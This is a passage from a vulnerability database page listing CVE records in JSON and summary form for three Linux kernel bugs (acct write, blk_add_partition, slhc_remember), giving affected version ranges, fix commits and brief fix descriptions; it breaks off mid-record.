              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "56d5f3eba3f5de0efdd556de4ef381e109b973a9",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/acct.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nacct: perform last write from workqueue\n\nIn [1] it was reported that the acct(2) system call can be used to\ntrigger NULL deref in cases where it is set to write to a file that\ntriggers an internal lookup. This can e.g., happen when pointing acc(2)\nto /sys/power/resume. At the point the where the write to this file\nhappens the calling task has already exited and called exit_fs(). A\nlookup will thus trigger a NULL-deref when accessing current-\u003efs.\n\nReorganize the code so that the the final write happens from the\nworkqueue but with the caller\u0027s credentials. This preserves the\n(strange) permission model and has almost no regression risk.\n\nThis api should stop to exist though."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:38.328Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8acbf4a88c6a98c8ed00afd1a7d1abcca9b4735e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b03782ae707cc45e65242c7cddd8e28f1c22cde5"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d5b936cfa4b0d5670ca7420ef165a074bc008eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ee8da9bea70dda492d61f075658939af33d8410"
        },
        {
          "url": "https://git.kernel.org/stable/c/5c928e14a2ccd99462f2351ead627b58075bb736"
        },
        {
          "url": "https://git.kernel.org/stable/c/5a59ced8ffc71973d42c82484a719c8f6ac8f7f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/a8136afca090412a36429cb6c2543c714d9c0f84"
        },
        {
          "url": "https://git.kernel.org/stable/c/56d5f3eba3f5de0efdd556de4ef381e109b973a9"
        }
      ],
      "title": "acct: perform last write from workqueue",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21846",
    "datePublished": "2025-03-12T09:42:02.635Z",
    "dateReserved": "2024-12-29T08:45:45.778Z",
    "dateUpdated": "2026-05-12T12:04:03.338Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47705 (GCVE-0-2024-47705)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

block: fix potential invalid pointer dereference in blk_add_partition

Summary

In the Linux kernel, the following vulnerability has been resolved: block: fix potential invalid pointer dereference in blk_add_partition The blk_add_partition() function initially used a single if-condition (IS_ERR(part)) to check for errors when adding a partition. This was modified to handle the specific case of -ENXIO separately, allowing the function to proceed without logging the error in this case. However, this change unintentionally left a path where md_autodetect_dev() could be called without confirming that part is a valid pointer. This commit separates the error handling logic by splitting the initial if-condition, improving code readability and handling specific error scenarios explicitly. The function now distinguishes the general error case from -ENXIO without altering the existing behavior of md_autodetect_dev() calls.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/4bc4272e2506941c3…
https://git.kernel.org/stable/c/cc4d21d9492db4e53…
https://git.kernel.org/stable/c/64cf2a39202ca2d9d…
https://git.kernel.org/stable/c/80f5bfbb80ea16152…
https://git.kernel.org/stable/c/652039ba477c9a4ab…
https://git.kernel.org/stable/c/afe53ea9b378c3761…
https://git.kernel.org/stable/c/26e197b7f9240a4ac…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < 4bc4272e2506941c3f3d4fb8b0c659ee814dcf6f (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < cc4d21d9492db4e534d3e01253cf885c90dd2a8b (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < 64cf2a39202ca2d9df5ee70eb310b6141ce2b8ed (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < 80f5bfbb80ea1615290dbc24f49d3d8c86db58fe (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < 652039ba477c9a4ab43740cf2cb0d068d53508c2 (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < afe53ea9b378c376101d99d216f13b6256f75189 (git) Affected: b72053072c0bbe9f1cdfe2ffa3c201c185da2201 , < 26e197b7f9240a4ac301dd0ad520c0c697c2ea7d (git)
Linux	Linux	Affected: 5.5 Unaffected: 0 , < 5.5 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47705",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:04:01.361907Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:19.823Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:08.827Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:27.469Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/partitions/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "4bc4272e2506941c3f3d4fb8b0c659ee814dcf6f",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "cc4d21d9492db4e534d3e01253cf885c90dd2a8b",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "64cf2a39202ca2d9df5ee70eb310b6141ce2b8ed",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "80f5bfbb80ea1615290dbc24f49d3d8c86db58fe",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "652039ba477c9a4ab43740cf2cb0d068d53508c2",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "afe53ea9b378c376101d99d216f13b6256f75189",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            },
            {
              "lessThan": "26e197b7f9240a4ac301dd0ad520c0c697c2ea7d",
              "status": "affected",
              "version": "b72053072c0bbe9f1cdfe2ffa3c201c185da2201",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/partitions/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.5"
            },
            {
              "lessThan": "5.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: fix potential invalid pointer dereference in blk_add_partition\n\nThe blk_add_partition() function initially used a single if-condition\n(IS_ERR(part)) to check for errors when adding a partition. This was\nmodified to handle the specific case of -ENXIO separately, allowing the\nfunction to proceed without logging the error in this case. However,\nthis change unintentionally left a path where md_autodetect_dev()\ncould be called without confirming that part is a valid pointer.\n\nThis commit separates the error handling logic by splitting the\ninitial if-condition, improving code readability and handling specific\nerror scenarios explicitly. The function now distinguishes the general\nerror case from -ENXIO without altering the existing behavior of\nmd_autodetect_dev() calls."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:11.590Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4bc4272e2506941c3f3d4fb8b0c659ee814dcf6f"
        },
        {
          "url": "https://git.kernel.org/stable/c/cc4d21d9492db4e534d3e01253cf885c90dd2a8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/64cf2a39202ca2d9df5ee70eb310b6141ce2b8ed"
        },
        {
          "url": "https://git.kernel.org/stable/c/80f5bfbb80ea1615290dbc24f49d3d8c86db58fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/652039ba477c9a4ab43740cf2cb0d068d53508c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/afe53ea9b378c376101d99d216f13b6256f75189"
        },
        {
          "url": "https://git.kernel.org/stable/c/26e197b7f9240a4ac301dd0ad520c0c697c2ea7d"
        }
      ],
      "title": "block: fix potential invalid pointer dereference in blk_add_partition",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47705",
    "datePublished": "2024-10-21T11:53:40.071Z",
    "dateReserved": "2024-09-30T16:00:12.946Z",
    "dateUpdated": "2026-05-12T11:58:27.469Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50033 (GCVE-0-2024-50033)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 11:59

Title

slip: make slhc_remember() more robust against malicious packets

Summary

In the Linux kernel, the following vulnerability has been resolved: slip: make slhc_remember() more robust against malicious packets syzbot found that slhc_remember() was missing checks against malicious packets [1]. slhc_remember() only checked the size of the packet was at least 20, which is not good enough. We need to make sure the packet includes the IPv4 and TCP header that are supposed to be carried. Add iph and th pointers to make the code more readable. [1] BUG: KMSAN: uninit-value in slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666 slhc_remember+0x2e8/0x7b0 drivers/net/slip/slhc.c:666 ppp_receive_nonmp_frame+0xe45/0x35e0 drivers/net/ppp/ppp_generic.c:2455 ppp_receive_frame drivers/net/ppp/ppp_generic.c:2372 [inline] ppp_do_recv+0x65f/0x40d0 drivers/net/ppp/ppp_generic.c:2212 ppp_input+0x7dc/0xe60 drivers/net/ppp/ppp_generic.c:2327 pppoe_rcv_core+0x1d3/0x720 drivers/net/ppp/pppoe.c:379 sk_backlog_rcv+0x13b/0x420 include/net/sock.h:1113 __release_sock+0x1da/0x330 net/core/sock.c:3072 release_sock+0x6b/0x250 net/core/sock.c:3626 pppoe_sendmsg+0x2b8/0xb90 drivers/net/ppp/pppoe.c:903 sock_sendmsg_nosec net/socket.c:729 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:744 ____sys_sendmsg+0x903/0xb60 net/socket.c:2602 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656 __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742 __do_sys_sendmmsg net/socket.c:2771 [inline] __se_sys_sendmmsg net/socket.c:2768 [inline] __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768 x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: slab_post_alloc_hook mm/slub.c:4091 [inline] slab_alloc_node mm/slub.c:4134 [inline] kmem_cache_alloc_node_noprof+0x6bf/0xb80 mm/slub.c:4186 kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:587 __alloc_skb+0x363/0x7b0 net/core/skbuff.c:678 alloc_skb include/linux/skbuff.h:1322 [inline] sock_wmalloc+0xfe/0x1a0 net/core/sock.c:2732 pppoe_sendmsg+0x3a7/0xb90 drivers/net/ppp/pppoe.c:867 sock_sendmsg_nosec net/socket.c:729 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:744 ____sys_sendmsg+0x903/0xb60 net/socket.c:2602 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2656 __sys_sendmmsg+0x3c1/0x960 net/socket.c:2742 __do_sys_sendmmsg net/socket.c:2771 [inline] __se_sys_sendmmsg net/socket.c:2768 [inline] __x64_sys_sendmmsg+0xbc/0x120 net/socket.c:2768 x64_sys_call+0xb6e/0x3ba0 arch/x86/include/generated/asm/syscalls_64.h:308 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f CPU: 0 UID: 0 PID: 5460 Comm: syz.2.33 Not tainted 6.12.0-rc2-syzkaller-00006-g87d6aab2389e #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/ba6501ea06462d640…
https://git.kernel.org/stable/c/36b054324d18e51cf…
https://git.kernel.org/stable/c/5e336384cc9b608e0…
https://git.kernel.org/stable/c/ff5e0f895315706e4…
https://git.kernel.org/stable/c/8bb79eb1db85a1086…
https://git.kernel.org/stable/c/29e8d96d44f51cf89…
https://git.kernel.org/stable/c/7d3fce8cbe3a70a1c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < ba6501ea06462d6404d57d5644cf2854db38e7d7 (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < 36b054324d18e51cf466134e13b6fbe3c91f52af (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < 5e336384cc9b608e0551f99c3d87316ca3b0e51a (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < ff5e0f895315706e4ca5a19df15be6866cee4f5d (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < 8bb79eb1db85a10865f0d4dd15b013def3f2d246 (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < 29e8d96d44f51cf89a62dd042be35d052833b95c (git) Affected: b5451d783ade99308dfccdf5ca284ed07affa4ff , < 7d3fce8cbe3a70a1c7c06c9b53696be5d5d8dd5c (git)
Linux	Linux	Affected: 3.2 Unaffected: 0 , < 3.2 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50033",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:25:49.586727Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:45.501Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:39.473Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:49.341Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/slip/slhc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ba6501ea06462d6404d57d5644cf2854db38e7d7",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "36b054324d18e51cf466134e13b6fbe3c91f52af",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "5e336384cc9b608e0551f99c3d87316ca3b0e51a",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "ff5e0f895315706e4ca5a19df15be6866cee4f5d",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "8bb79eb1db85a10865f0d4dd15b013def3f2d246",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "29e8d96d44f51cf89a62dd042be35d052833b95c",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            },
            {
              "lessThan": "7d3fce8cbe3a70a1c7c06c9b53696be5d5d8dd5c",
              "status": "affected",
              "version": "b5451d783ade99308dfccdf5ca284ed07affa4ff",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/slip/slhc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.2"
            },
            {
              "lessThan": "3.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
